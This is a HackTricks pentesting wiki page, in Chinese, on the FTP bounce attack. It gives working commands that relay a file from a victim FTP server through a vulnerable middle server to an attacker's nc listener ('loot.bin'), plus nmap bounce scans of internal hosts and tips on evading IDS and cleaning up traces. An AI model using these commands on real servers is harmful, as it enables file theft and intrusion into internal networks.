FTP Bounce Download 2 of FTP File
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
概述
如果你能够访问到一个 bounce FTP server,你可以让它向 another FTP server(你对其拥有某些凭证)请求文件,并将该文件下载到 your own server。
要求
- 在 FTP Middle server 上拥有有效的 FTP 凭证
- 在 Victim FTP server 上拥有有效的 FTP 凭证
- 两台服务器都接受
PORT命令(bounce FTP attack) - 你可以在 FTP Middle server 的某个目录中写入
- 中间服务器在 Victim FTP Server 中拥有比你更多的访问权限
步骤
- 连接到 your own FTP server,并将连接设置为被动模式(使用
pasv命令),使其在某个目录中监听,以便目标服务将文件发送到该目录。 - 制作将由 FTP Middle server 发送到 Victim server 的文件(即 exploit script)。该文件应为纯文本,包含用于向 Victim server 认证、更改目录并将文件下载到 your own server 的所需命令。
- 连接到 FTP Middle Server 并上传上一步制作的文件。
- 让 FTP Middle server 与 Victim server 建立连接 并发送 exploit 文件。
- 在 your own FTP server 中捕获该文件。
- 从 FTP Middle server 上删除该 exploit 文件。
快速检查易受攻击的 bounce hosts
- Nmap 仍然支持 FTP bounce 检测。示例用于验证潜在的中间服务器:
nmap -Pn -p21 --script ftp-bounce <middle_ftp_ip>
# or directly attempt a bounce scan
nmap -Pn -p80 -b user:pass@<middle_ftp_ip>:21 <internal_target_ip>
如果服务器拒绝第三方 PORT 值,扫描将失败;一些 embedded/legacy printers, NAS and appliance FTP daemons 仍然允许此操作。
自动化第二次 FTP 下载
下面是一种通过易受攻击的中间 FTP 服务器拉取文件的现代化方法。
- 在你的攻击主机上打开一个被动监听(任何 TCP sink 都可):
nc -lvnp 2121 > loot.bin # or run a small pyftpdlib server
-
记录你的 IP 为
A,B,C,D,端口P表示为p1,p2(p1 = P/256,p2 = P%256)。 -
构造将由中间服务器回放给受害者的指令文件:
cat > instrs <<'EOF'
USER <victim_user>
PASS <victim_pass>
CWD /path/inside/victim
TYPE I
PORT A,B,C,D,p1,p2
RETR secret.tar.gz
QUIT
EOF
# Add padding so the control channel stays open on picky daemons
dd if=/dev/zero bs=1024 count=60 >> instrs
- 从中间服务器上传并触发(经典 proxy FTP):
ftp -n <middle_ftp> <<'EOF'
user <middle_user> <middle_pass>
put instrs
PORT <victim_ip_with_commas>,0,21
RETR instrs
QUIT
EOF
- 从你的监听器获取文件(
loot.bin)。 - 在中间服务器上清理 上传的
instrs文件。
备注:
- 填充(
dd ...)可防止在 RETR 完成之前控制连接关闭(经典写作中讨论的大 TCP 窗口问题)。 - 任何能 监听并转储 TCP 的服务都可以替代 FTP PASV 套接字(例如,
socat -u TCP-LISTEN:2121,fork - > loot.bin)。 - 如果中间服务器限制特权端口,请在
PORT中使用高端口并相应调整你的监听器。
额外技巧
- 当文件中继被阻止时,使用可进行 FTP bounce 的服务器对内部主机进行 端口扫描:
nmap -Pn -p22,80,445 -b anonymous:<email>@<middle_ftp> <internal_ip>
- 一些现代 WAF/IDS(例如 Juniper IPS)附带针对 FTP:EXPLOIT:BOUNCE-ATTACK 的签名;噪声较大的负载或缺少填充可能触发它们。
- 当中间服务器强制执行 “PORT to same host” 限制时,将你的监听器部署在中间服务器本身(如果你有写/执行权限),然后稍后转发捕获的文件。
更多老派的详细 walkthrough 请查看: http://www.ouah.org/ftpbounce.html
References
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


